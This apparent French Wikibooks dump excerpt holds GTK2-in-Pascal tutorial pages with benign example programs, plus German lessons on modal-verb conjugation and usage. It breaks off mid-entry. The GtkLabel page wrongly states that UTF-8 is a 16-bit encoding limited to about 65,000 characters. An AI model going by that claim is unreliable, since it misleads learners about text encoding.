PGtkwidget; AData : pgpointer); cdecl; var pDialogue : PGtkWidget; pContEnfant : PGtkWidget; NoPage : GInt; TexteLabel : PGChar; TexteOnglet : PGChar; TexteDialogue : PGChar; begin // Récuperation de la page active NoPage := gtk_notebook_get_current_page(GTK_NOTEBOOK(AData)); // Récuperation du contrôle enfant pContEnfant := gtk_notebook_get_nth_page(GTK_NOTEBOOK(AData), NoPage); // Récuperation du label TexteLabel := gtk_label_get_text(GTK_LABEL(pContEnfant)); // Récuperation du label de l'onglet TexteOnglet := gtk_notebook_get_tab_label_text(GTK_NOTEBOOK(AData), pContEnfant); // Création du label de la boite de dialogue TexteDialogue := g_strdup_printf('C' 'est la page %d'#13#10 + 'Le label est "%s"'#13#10 + 'Le label de l' 'onglet est "%s"', [NoPage, TexteLabel, TexteOnglet]); pDialogue := gtk_message_dialog_new(NULL, GTK_DIALOG_MODAL, GTK_MESSAGE_INFO, GTK_BUTTONS_OK, TexteDialogue); gtk_dialog_run(GTK_DIALOG(pDialogue)); gtk_widget_destroy(pDialogue); g_free(TexteDialogue); end; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pNotebook : PGtkWidget; pBouton : PGtkWidget; I : gint; pLabel : PGtkWidget; pTabLabel : PGtkWidget; TexteLabel : PGChar; TexteOnglet : PGChar; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk009 : GtkNoteBook'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); // Création de la GtkVBox et ajout dans la fenêtre pVBox := gtk_vbox_new(FALSE, 0); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Au tour du bouton pBouton := gtk_button_new_with_label('Informations'); gtk_box_pack_start(GTK_BOX(pVBox), pBouton, FALSE, FALSE, 0); // Creation du GtkNotebook pNotebook := gtk_notebook_new; gtk_box_pack_start(GTK_BOX(pVBox), pNotebook, TRUE, TRUE, 0); // Position des onglets : en bas gtk_notebook_set_tab_pos(GTK_NOTEBOOK(pNotebook), GTK_POS_BOTTOM); // Ajout des boutons de navigation gtk_notebook_set_scrollable(GTK_NOTEBOOK(pNotebook), TRUE); // Création de chacune des pages d'onglet for I := 1 to 8 do begin TexteLabel := g_strdup_printf('Je suis le GtkLabel numéro %d', [I]); TexteOnglet := g_strdup_printf('Page %d', [I]); // Création des différents GtkLabel pLabel := gtk_label_new(TexteLabel); pTabLabel := gtk_label_new(TexteOnglet); // Insertion de la page gtk_notebook_append_page(GTK_NOTEBOOK(pNotebook), pLabel, pTabLabel); g_free(TexteLabel); g_free(TexteOnglet); end; g_signal_connect(pGTKOBJECT(pBouton), 'clicked', GTK_SIGNAL_FUNC(@OnBoutonClick), pNotebook); gtk_widget_show_all(pFenetre); gtk_main; end. === Note === La fonction <code>g_strdup_printf</code> permet de faire des manipulations sur les chaines de caractères gérées par Gtk+ de type <code>PGChar</code>. Elle est identique au niveau manipulation à la fonction <code>Format</code> hormis qu'elle réserve de l'espace mémoire qu'il faut libérer après utilisation par la fonction <code>g_free</code>. Les fonction préfixées par un « g_ » sont des fonctions de la GLib. === Exécution === Voilà ce que donne l'exécution du programme <code>gtk009</code> : [[Image:Programmation GTK2 en Pascal - gtk009-1.png]] Si on clique sur le petit triangle noir à droite pour aller jusqu'à la page 6 : [[Image:Programmation GTK2 en Pascal - gtk009-2.png]] Et on clique sur le bouton « Informations » : [[Image:Programmation GTK2 en Pascal - gtk009-3.png]] Nota : En interne, les pages sont numérotées à partir de 0 (comme bien souvent en informatique). C'est pour cela que l'affichage débute par « C'est la page 5 ». {{Modèle:Programmation GTK2 en Pascal - Conteneurs}} Allemand Können et dürfen 2539 45984 2006-06-26T22:05:13Z Svartkell 1411 /* Emploi */ sie ''' kann''' __NOTOC__ == Können == === Conjugaison === <table border="1" cellspacing="0" style="background-color: #FFFF66"> <tr align="center"><td colspan=2>présent</td><td colspan=2>prétérit</td><td colspan=2>subjonctif présent</td><td colspan=2>subjonctif prétérit</td></tr> <tr align="center"><td>ich kann</td><td>wir können</td><td>ich konnte</td><td>wir konnten</td><td>ich könne</td><td>wir können</td> <td>ich könnte</td><td>wir könnten</td></tr> <tr align="center"><td>du kannst</td><td>ihr könnt</td><td>du konntest</td><td>ihr konntet</td><td>du könnest</td><td>ihr könnet</td><td>du könntest</td><td>ihr könntet</td></tr> <tr align="center"><td>er, sie, es kann</td><td>sie, Sie können</td><td>er, sie, es konnte</td><td>sie, Sie konnten</td><td>er, sie, es könne</td><td>sie, Sie können</td><td>er, sie, es könnte</td><td>sie, Sie könnten</td></tr> </table> === Emploi === # '''La capacité physique ou intellectuelle''', on le traduit en français par ''pouvoir'', ''savoir'', ''être capable de ''.Exemple : <br />Er kann Deutsch sprechen. ''Il sait parler l'allemand.'' <br />Sie kann schwimmen. ''Elle sait nager.''<br> können accompagne un infinitif qui peut être sous-entendu :<br> Ich kann Spanisch (sous entendu sprechen, verstehen) # '''L'autorisation''', après une demande ou lors d'une réponse à une demande. Pour une demande très polie, on peut utiliser le subjonctif II présent. Exemple : <br /> # '''La possibilité ''', on le traduit par ''il est possible que''. Exemple :<br /> == Dürfen == === Conjugaison === <table border="1" cellspacing="0" style="background-color: #FFFF66"> <tr align="center"><td colspan=2>présent</td><td colspan=2>prétérit</td><td colspan=2>subjonctif présent</td><td colspan=2>subjonctif prétérit</td></tr> <tr align="center"><td>ich darf</td><td>wir dürfen</td><td>ich durfte</td><td>wir durften</td><td>ich dürfe</td><td>wir dürfen</td> <td>ich dürfte</td><td>wir dürften</td></tr> <tr align="center"><td>du darfst</td><td>ihr dürft</td><td>du durftest</td><td>ihr durftet</td><td>du dürfest</td><td>ihr dürfet</td><td>du dürftest</td><td>ihr dürftet</td></tr> <tr align="center"><td>er, sie, es darf</td><td>sie, Sie dürfen</td><td>er, sie, es durfte</td><td>sie, Sie durften</td><td>er, sie, es dürfe</td><td>sie, Sie dürfen</td><td>er, sie, es dürfte</td><td>sie, Sie dürften</td></tr> </table> === Emploi === #'''La permission''', on le traduit par ''avoir le droit de''. Exemple :<br />Darf ich ins Kino gehen ? ''Est-ce que j'ai le droit d'aller au cinéma ?'' #'''L'autorisation''' Exemple : <br /> Darf ich das Fenster zumachen? Puis je fermer la fenêtre? #'''L'interdiction absolue''' Exemple : Du darfst nicht kommen. "Tu n'as pas le droit de venir"<br /> <br />Retour [[Enseignement de l'allemand]] Modèle:Programmation GTK2 en Pascal - Fenêtres 2540 14125 2005-02-13T11:49:35Z Didier 186 Création {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" align="center" | style="text-align:center;background:#EAF5FB;" | Fenêtres : [[Programmation GTK2 en Pascal - GtkWindow|GtkWindow]] ~ [[Programmation GTK2 en Pascal - GtkDialog|GtkDialog]] ~ [[Programmation GTK2 en Pascal - GtkMessageDialog|GtkMessageDialog]] |} Modèle:Programmation GTK2 en Pascal - Conteneurs 2541 14126 2005-02-13T11:56:54Z Didier 186 Création {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" align="center" | style="text-align:center;background:#EAF5FB;" | Conteneurs : [[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] ~ [[Programmation GTK2 en Pascal - GtkBox|GtkBox]] ~ [[Programmation GTK2 en Pascal - GtkBin|GtkBin]] — [[Programmation GTK2 en Pascal - GtkHBox|GtkHBox]] ~ [[Programmation GTK2 en Pascal - GtkVBox|GtkVBox]] ~ [[Programmation GTK2 en Pascal - GtkTable|GtkTable]] ~ [[Programmation GTK2 en Pascal - GtkNotebook|GtkNotebook]] |} Image:Programmation GTK2 en Pascal - gtk009-1.png 2542 14127 2005-02-13T15:54:51Z Didier 186 Exemple du programme gtk009.pas, vue 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk009.pas, vue 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk009-2.png 2543 14128 2005-02-13T15:55:31Z Didier 186 Exemple du programme gtk009.pas, vue 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk009.pas, vue 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk009-3.png 2544 14129 2005-02-13T15:56:43Z Didier 186 Exemple du programme gtk009.pas, vue 3. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk009.pas, vue 3. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Modèle:Étagère des Livrets techniques 2545 20832 2005-09-09T20:52:46Z NonoLeRobot 401 <center>'''<big>Livrets Techniques</big>'''</center> '''M<small>ECANIQUE</small>''' - [[Mécanique automobile]] [[Image:00%.png]] - [[Mécanique vélo]] [[Image:00%.png]] - [[Batterie d'accumulateurs|Les batteries d'accumulateurs, entretien et précautions d'emploi]] [[Image:100%.png]] - '''E<small>CONOLOGIE</small>''' - [[Habitation éconologique]] [[Image:25%.png]] - Programmation GTK2 en Pascal - Les visuels 2547 14132 2005-02-13T17:14:21Z Didier 186 Création {{Programmation GTK2 en Pascal}} Gtk+ possède toute une série de '''contrôles visuels''', c'est à dire qui ne permettent que l'affichage de données : * [[Programmation GTK2 en Pascal - GtkLabel|GtkLabel]] * [[Programmation GTK2 en Pascal - GtkImage|GtkImage]] * [[Programmation GTK2 en Pascal - GtkStatusBar|GtkStatusBar]] * [[Programmation GTK2 en Pascal - GtkProgressBar|GtkProgressBar]] * [[Programmation GTK2 en Pascal - GtkDrawingArea|GtkDrawingArea]] Modèle:Programmation GTK2 en Pascal - Visuels 2548 14133 2005-02-13T17:19:20Z Didier 186 Création {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" align="center" | style="text-align:center;background:#EAF5FB;" | Visuels : [[Programmation GTK2 en Pascal - GtkLabel|GtkLabel]] ~ [[Programmation GTK2 en Pascal - GtkImage|GtkImage]] ~ [[Programmation GTK2 en Pascal - GtkStatusBar|GtkStatusBar]] ~ [[Programmation GTK2 en Pascal - GtkProgressBar|GtkProgressBar]] ~ [[Programmation GTK2 en Pascal - GtkDrawingArea|GtkDrawingArea]] |} Image:Programmation GTK2 en Pascal - gtk011.png 2549 14134 2005-02-13T17:35:16Z Didier 186 Exemple du programme gtk011.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk011.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkLabel 2550 14135 2005-02-13T21:29:18Z Didier 186 /* Programme exemple */ + formatage de texte {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkLabel''' va nous permettre d'afficher du texte à l'intérieur de nos fenêtres. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkMisc|GtkMisc]] └─[[Programmation GTK2 en Pascal - GtkLabel|GtkLabel]] |} == Utilisation de base == === Création d'un label === Après avoir déclarer un objet <code>pLabel</code> de type <code>PGtkWidget</code>, il faut utiliser la fonction : function gtk_label_new(str : Pchar) : PGtkWidget; Le paramètre <code>str</code> n'est autre que le texte qui sera affiché par le <code>GtkLabel</code>. === Modification du label === Il peut arriver qu'au cours d'un programme, l'on veuille modifier le texte qui est affiché. La fonction à utiliser est la suivante : procedure gtk_label_set_label(_label : PGtkLabel; str : Pgchar); Le premier paramètre <code>_label</code> correspond au contrôle dont on veux modifier le texte, et le paramètre <code>str</code> est le nouveau texte qui sera affiché. === Récupération du label === Pour récupérer le texte qui est affiché par un label, la fonction est : function gtk_label_get_label(_label : PGtkLabel) : Pgchar; Attention la valeur de retour est une variable constante, il ne faut donc pas essayer de la modifier. === Alignement du texte === Maintenant, nous allons voir comment aligner notre texte lorsque celui-ci comporte plusieurs lignes. Comme d'habitude, GTK+ nous fourni une fonction très simple d'utilisation : procedure gtk_label_set_justify(_label : PGtkLabel; jtype : TGtkJustification); Le paramètre <code>jtype</code> correspond à l'alignement du texte et peut prendre une de ces valeurs : * GTK_JUSTIFY_LEFT pour aligner le texte à gauche (par défaut) ; * GTK_JUSTIFY_RIGHT pour aligner le texte à droite ; * GTK_JUSTIFY_CENTER pour centrer le texte ; * GTK_JUSTIFY_FILL pour justifier le texte. Au contraire, pour obtenir l'alignement du texte, la fonction est : function gtk_label_get_justify(_label : PGtkLabel) : TGtkJustification; === Programme exemple === Nous allons, comme programme exemple, utiliser le classique « Hello Word! », traduit ici en « Bonjour tout le monde ! ». Voilà le fichier <code>gtk011.pas</code> : program gtk011; uses glib2, gtk2; var pFenetre : PGtkWidget; pLabel : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk011 : GtkLabel'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); // Création du GtkLabel et ajout dans la fenêtre pLabel := gtk_label_new('Bonjour tout le monde !'); gtk_container_add(GTK_CONTAINER(pFenetre), pLabel); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk011</code> : [[Image:Programmation GTK2 en Pascal - gtk011.png]] == Les caractères accentués == Vous avez peut-être déjà essayé d'afficher du texte contenant des caractères tel que « é, è, à, ... » en n'ayant pas utilisé un éditeur de textes unicode (utf-8), et lors de l'exécution, votre texte ne s'affiche pas complètement. Nous allons maintenant voir le pourquoi du comment. === Application test === Pour vous montrer tout cela, nous allons reprendre l'exemple précédent en remplaçant « Bonjour tout le monde » par « Texte à afficher », et cela ne marche pas ! En effet vous obtenez cela : [[Image:Programmation GTK2 en Pascal - gtk012.png]] Et en plus sur la console, vous avez le message d'erreur suivant : ** (gtk012:3449): WARNING **: Invalid UTF8 string passed to pango_layout_set_text() === Comment ça marche ? === Pour afficher du texte, Gtk utilise la librairie Pango qui s'occupe du rendu et de l'affichage du texte. Le but de Pango est de permettre l'internationalisation des applications, et pour cela Pango utilise l'encodage utf-8. Ce charset est codée sur 16 bits, ce qui offre la possibilité d'afficher plus 65000 caractères, permettant ainsi d'afficher des caractères accentués et bien plus (ex : pour le grec, le chinois, etc.). Puisque Pango sait faire tout cela, pourquoi le test n'a-t-il pas fonctionné ? Et bien, tout simplement parce que votre système d'exploitation n'utilise pas ce charset. Lorsque vous souhaitez afficher « Texte à afficher », Pango va avant tout vérifier l'encodage d'un caractère et si l'un de ces caractères n'est pas correct, Pango va arrêter son processus de rendu et envoyer un message d'erreur. Le moyen le plus simple pour voir les effets d'une erreur d'encodage est de changer celui de votre navigateur. Modifiez les options de votre navigateur afin d'utiliser l'encodage iso-8859-1. Cette page web utilisant le charset unicode (utf-8), les caractères accentués deviendront des signes cabalistiques. === Solution === Une seule chose s'impose à nous : il faut convertir notre chaîne de caractère en utf-8. Pour cela, soit utiliser la première solution qu'on a utilisé des le début de ce cours qui est d'utiliser un éditeur de texte permettant la frappe et la sauvegarde de caractères codés en utf-8. Soit utiliser une fonction de Glib qui est : function g_locale_to_utf8(opsysstring : Pgchar; len : gssize; bytes_read : Pgsize; bytes_written : Pgsize; error : PPGError) : Pgchar; La valeur de retour est le pointeur sur la chaîne de caractère fraîchement convertie. Si une erreur est survenue lors de la conversion, <code>g_locale_to_utf8</code> renvoie NULL. Il faudra tout de même libérer le mémoire allouée par cette fonction lorsque la variable ne sera plus utile. Le premier paramètre <code>opsysstring</code> est la chaîne de caractère à convertir et le second paramètre <code>len</code> correspond à la longueur de la chaîne. Ce paramètre sera en général égal à -1 (on laisse la bibliothèque calculer la longueur toute seule). Les trois derniers paramètres sont utiles en cas d'erreur lors de la conversion. Tout d'abord <code>bytes_read</code> est le nombre d'octet qui ont été lus dans le texte à convertir, et <code>bytes_writen</code> le nombre d'octet qui ont été écris dans la nouvelle chaîne de caractères. Le dernier paramètre <code>error</code>, donne plus de précision en cas d'erreur. Voici la liste des messages d'erreur possibles : * G_CONVERT_ERROR_NO_CONVERSION ; * G_CONVERT_ERROR_ILLEGAL_SEQUENCE ; * G_CONVERT_ERROR_FAILED ; * G_CONVERT_ERROR_PARTIAL_INPUT ; * G_CONVERT_ERROR_BAD_URI ; * G_CONVERT_ERROR_NOT_ABSOLUTE_PATH. Attention cette fonction alloue de la mémoire. Lorsque vous n'avez plus besoin de la valeur de retour de cette fonction, il faut libérer la mémoire à l'aide de la fonction <code>g_free</code>. === Programme exemple === Pour notre exemple, nous n'allons pas utiliser les trois derniers paramètres. En cas d'erreur, il n'y aura donc aucun moyen d'avoir plus de précision sur l'erreur survenue. Voilà le fichier <code>gtk013.pas</code> (sauvegardé en codage ISO-8859-15) : program gtk013; uses glib2, gtk2; var pFenetre : PGtkWidget; pLabel : PGtkWidget; Utf8 : PGChar; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk013 : GtkLabel (ISO-8859-15)'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); // Création du GtkLabel et ajout dans la fenêtre Utf8 := g_locale_to_utf8('Texte à afficher', -1, NULL, NULL, NULL); pLabel := gtk_label_new(Utf8); g_free(Utf8); gtk_container_add(GTK_CONTAINER(pFenetre), pLabel); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk013</code> : [[Image:Programmation GTK2 en Pascal - gtk013.png]] == Formatage du texte == Nous allons maintenant voir comment modifier l'apparence de notre texte (police, couleur, etc.). Pour notre application test, nous allons afficher une ligne en Courier gras taille 10, une ligne en Times New Roman italique bleu taille 12, et une ligne en Verdana souligné taille 16. Et tout cela centré (bien sûr). === Définition du format === Une fois encore, nous allons utiliser les propriétés de Pango (même si nous n'allons pas utiliser les fonctions de Pango directement). Pour définir le format du texte, il suffit d'insérer des balises à l'intérieur même de notre texte. Pango s'occupe ensuite de rechercher les balises puis de formater le texte à notre convenance. === Les balises rapides === Les balises rapides servent à mettre le texte en gras, italique ou autre de manière très simple. Voici l'intégralité de ces balises : * &lt;b&gt; : Met le texte en gras * &lt;big&gt; : Augmente légèrement la taille du texte * &lt;i&gt; : Met le texte en italique * &lt;s&gt; : Barre le texte * &lt;sub&gt; : Met le texte en indice * &lt;sup&gt; : Met le texte en exposant * &lt;small&gt; : Diminue légèrement la taille du texte * &lt;tt&gt; : Met le texte en télétype * &lt;u&gt; : Souligne le texte Pour utiliser ces balises, il suffit d'encadrer le texte à modifier des balises de formatage. Par exemple, pour mettre le texte en gras, il faudra entrer : 'Normal vs &lt;b&gt;Gras&lt;/b&gt;'. Mais cela ne suffit pas, il faut aussi dire que le texte utilise les balises Pango, ce qui est possible avec la fonction suivante : procedure gtk_label_set_use_markup(_label : PGtkLabel; setting : gboolean); Il faut mettre le paramètre <code>setting</code> à TRUE, et le texte sera alors formaté en conséquence. Un autre moyen de spécifier l'utilisation des balises, est d'utiliser cette fonction : procedure gtk_label_set_markup(_label : PGtkLabel; str : Pgchar); Cette fonction dit à Pango qu'il faut utiliser les balises, mais elle modifie aussi le label en affichant la chaîne de caractères <code>str</code> (deuxième paramètre). === La balise &lt;span&gt; === Ici nous allons étudier la balise &lt;span&gt; en détail. Avec celle-ci, nous allons pouvoir changer la police de caractères, la couleur du texte et bien d'autres choses. Cette balise s'utilise comme les précédentes si ce n'est qu'elle accepte des paramètres. Le tableau ci-dessous présente tous les paramètres et les effets sur le texte. * font_family : Pour définir la police à utiliser. Si la valeur donnée à ce paramètre est incorrecte, la police par défaut (Sans Serif) sera utilisée. Exemple : &lt;span font_family="Courier New"&gt;Courier New&lt;/span&gt;. * face : Identique à font_family. Exemple : &lt;span face="Times New Roman"&gt;Times New Roman&lt;/span&gt;. * size : Pour définir la taille du texte (par défaut 10). Exemple : &lt;span size="12"&gt;Taille 12&lt;/span&gt; * style : Pour définir le style du texte. Trois valeurs possibles : normal, oblique, italic. Exemple : &lt;span style="oblique"&gt;Oblique&lt;/span&gt;. * font_desc : Permet de combiner les paramètres précédents en un seul. Exemple : &lt;span font_desc="Courier New italic 12"&gt;Courier New italic 12&lt;/span&gt;. * weight : Permet de définir l'épaisseur des lettres. Les valeurs peuvent être ultralight, light, normal, bold, utrabold, heavy ou encore une valeur numérique. (Vous remarquerez qu'il n'y a que peu ou pas de différence). Exemple : &lt;span weight="bold"&gt;Bold&lt;/span&gt;. * variant : Pour définir si l'on veut du texte normal (normal) ou en petite majuscule (smallcaps). Exemple : &lt;span variant="smallcaps"&gt; Smallcaps &lt;/span&gt;. Afin de pourvoir l'utiliser, il faut avoir la police : nom smallcaps * stretch : Permet d'étirer le texte. La valeur de ce paramètre peut être : ultracondensed, extracondensed, condensed, semicondensed, normal, semiexpanded, expanded, extraexpanded, ultraexpanded. Afin de pourvoir l'utiliser, il faut avoir la police : nom condensed (ou autre). * foreground : Pour définir la couleur du texte. Il faut donner la valeur hexadécimale de la palette RVB. Exemple : &lt;span foreground="#FF0000"&gt; Couleur Texte &lt;/span&gt;. * background : Pour définir la couleur du fond. Il faut donner la valeur hexadécimale de la palette RVB. Exemple : &lt;span background="#FF0000"&gt; Couleur Texte &lt;/span&gt;. * underline : Pour souligner le texte. Exemple : &lt;span underline="double"&gt;Double&lt;/span&gt;. * rise : Pour déplacer le texte verticalement. * strikethrough : Pour barrer le texte. Exemple : &lt;span strikethrough="true"&gt;Striketrough = "true"&lt;/span&gt; * lang : Pour indiquer la langue du texte. Tous ces paramètres peuvent être mis à l'intérieur d'une seule et même balise &lt;span&gt;. === Programme exemple === Voilà le fichier <code>gtk014.pas</code> (sauvegardé en codage ISO-8859-15) : program gtk014; uses glib2, gtk2; var pFenetre : PGtkWidget; pLabel : PGtkWidget; Utf8 : PGChar; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk014 : Formatage texte'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); // Création du GtkLabel et ajout dans la fenêtre pLabel := gtk_label_new(NULL); Utf8 := g_locale_to_utf8('&lt;span face="Courier New"&gt;&lt;b&gt;Courier New 10 Gras&lt;/b&gt;&lt;/span&gt;'#13#10 + '&lt;span font_desc="Times New Roman italic 12" foreground="#0000FF"&gt;' + 'Times New Roman 12 Italique&lt;/span&gt;'#13#10 + '&lt;span face="Sans" size="16"&gt;&lt;u&gt;Sans 16 Souligné&lt;/u&gt;&lt;/span&gt;', -1, NULL, NULL, NULL); gtk_label_set_markup(GTK_LABEL(pLabel), Utf8); g_free(Utf8); gtk_container_add(GTK_CONTAINER(pFenetre), pLabel); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk014</code> : [[Image:Programmation GTK2 en Pascal - gtk014.png]] Note : ''On a beau jouer sur les différentes valeurs du paramètre <code>size</code> et même de <code>face</code> de la troisième ligne, celle-ci s'affiche en très petit. En cours de recherche...'' {{Programmation GTK2 en Pascal - Visuels}} Image:Programmation GTK2 en Pascal - gtk012.png 2551 14136 2005-02-13T20:34:38Z Didier 186 Exemple du programme gtk012.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk012.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk013.png 2552 14137 2005-02-13T20:47:54Z Didier 186 Exemple du programme gtk013.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk013.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk014.png 2553 14138 2005-02-13T21:23:55Z Didier 186 Exemple du programme gtk014.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk014.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Allemand Müssen et sollen 2555 41623 2006-05-05T14:07:03Z 88.134.99.231 /* Conjugaison */ == Müssen == ==== Conjugaison ==== <table border="1" cellspacing="0" style="background-color: #FFFF66"> <tr align="center"><td colspan=2>présent</td><td colspan=2>prétérit</td><td colspan=2>subjonctif présent (I)</td><td colspan=2>subjonctif prétérit (II)</td></tr> <tr align="center"><td>ich muss</td><td>wir müssen</td><td>ich musste</td><td>wir mussten</td><td>ich müsse</td><td>wir müssen</td> <td>ich müsste</td><td>wir müssten</td></tr> <tr align="center"><td>du musst</td><td>ihr müsst</td><td>du musstest</td><td>ihr musstet</td><td>du müssest</td><td>ihr müsset</td><td>du müsstest</td><td>ihr müsstet</td></tr> <tr align="center"><td>er, sie, es muss</td><td>sie, Sie müssen</td><td>er, sie, es musste</td><td>sie, Sie mussten</td><td>er, sie, es müsse</td><td>sie, Sie müssen</td><td>er, sie, es müsste</td><td>sie, Sie müssten</td></tr> </table> ==== Emploi ==== * l'obligation, le devoir.<br />Exemple : Er muss arbeiten. ''Il doit travailler.''<br />Wir müssen um sieben Uhr aufstehen. ''Nous devons nous lever à 7 heures.'' <br /> * la probabilité. Il est très probable que ...<br />Exemple : Er muss krank sein. ''Il doit être malade.''<br />Das muss wahr sein. ''Ça doit être vrai.''<br /> * Nicht müssen signifie : ne pas être obligé de.<br>Exemple : du musst nicht kommen. Tu n'es pas obligé de venir. == Sollen == ==== Conjugaison ==== <table border="1" cellspacing="0" style="background-color: #FFFF66"> <tr align="center"><td colspan=2>présent</td><td colspan=2>prétérit</td><td colspan=2>subjonctif présent (I)</td><td colspan=2>subjonctif prétérit (II)</td></tr> <tr align="center"><td>ich soll</td><td>wir sollen</td><td>ich sollte</td><td>wir sollten</td><td>ich solle</td><td>wir sollen</td> <td>ich sollte</td><td>wir sollten</td></tr> <tr align="center"><td>du sollst</td><td>ihr sollt</td><td>du solltest</td><td>ihr solltet</td><td>du sollest</td><td>ihr sollet</td><td>du solltest</td><td>ihr solltet</td></tr> <tr align="center"><td>er, sie, es soll</td><td>sie, Sie sollen</td><td>er, sie, es sollte</td><td>sie, Sie sollten</td><td>er, sie, es solle</td><td>sie, Sie sollen</td><td>er, sie, es sollte</td><td>sie, Sie sollten</td></tr> </table> ==== Emploi ==== * devoir, obligation morale, interdits.<br />Exemple : Du sollst nicht töten. ''Tu ne tueras point.'' <br /> *Volonté d'une tierce personne.<br />Er soll dich sehen. ''Il veut te voir.'' <br />Retour [[Enseignement de l'allemand]] Allemand Wollen et mögen 2556 25236 2005-11-08T17:45:40Z Marc 66 restitution de la dernière modification de 196.200.85.103 == Wollen == ==== Conjugaison ==== <table border="1" cellspacing="0" style="background-color: #FFFF66"> <tr align="center"><td colspan=2>présent</td><td colspan=2>prétérit</td><td colspan=2>subjonctif présent</td><td colspan=2>subjonctif prétérit</td></tr> <tr align="center"><td>ich will</td><td>wir wollen</td><td>ich wollte</td><td>wir wollten</td><td>ich wolle</td><td>wir wollen</td> <td>ich wollte</td><td>wir wollten</td></tr> <tr align="center"><td>du willst</td><td>ihr wollt</td><td>du wolltest</td><td>ihr wolltet</td><td>du wollest</td><td>ihr wollet</td><td>du wolltest</td><td>ihr wolltet</td></tr> <tr align="center"><td>er, sie, es will</td><td>sie, Sie wollen</td><td>er, sie, es wollte</td><td>sie, Sie wollten</td><td>er, sie, es wolle</td><td>sie, Sie wollen</td><td>er, sie, es wollte</td><td>sie, Sie wollten</td></tr> </table> ==== Emploi ==== * la volonté.<br />Exemple : Ich will zu Hause bleiben. ''Je veux rester à la maison.'' <br /> * prétendre, vouloir faire croire.<br />Exemple : Sie will krank sein. ''Elle prétend être malade.'' <br /> * le futur proche.<br />Exemple : Es will schneien. ''Il va neiger.'' heusser er heusst == Mögen == ==== Conjugaison ==== <table border="1" cellspacing="0" style="background-color: #FFFF66"> <tr align="center"><td colspan=2>présent</td><td colspan=2>prétérit</td><td colspan=2>subjonctif présent</td><td colspan=2>subjonctif prétérit</td></tr> <tr align="center"><td>ich mag</td><td>wir mögen</td><td>ich mochte</td><td>wir mochten</td><td>ich möge</td><td>wir mögen</td> <td>ich möchte</td><td>wir möchten</td></tr> <tr align="center"><td>du magst</td><td>ihr mögt</td><td>du mochtest</td><td>ihr mochtet</td><td>du mögest</td><td>ihr möget</td><td>du möchtest</td><td>ihr möchtet</td></tr> <tr align="center"><td>er, sie, es mag</td><td>sie, Sie mögen</td><td>er, sie, es mochte</td><td>sie, Sie mochten</td><td>er, sie, es möge</td><td>sie, Sie mögen</td><td>er, sie, es möchte</td><td>sie, Sie möchten</td></tr> </table> ==== Emploi ==== * aimer.<br />Exemple : Ich mag 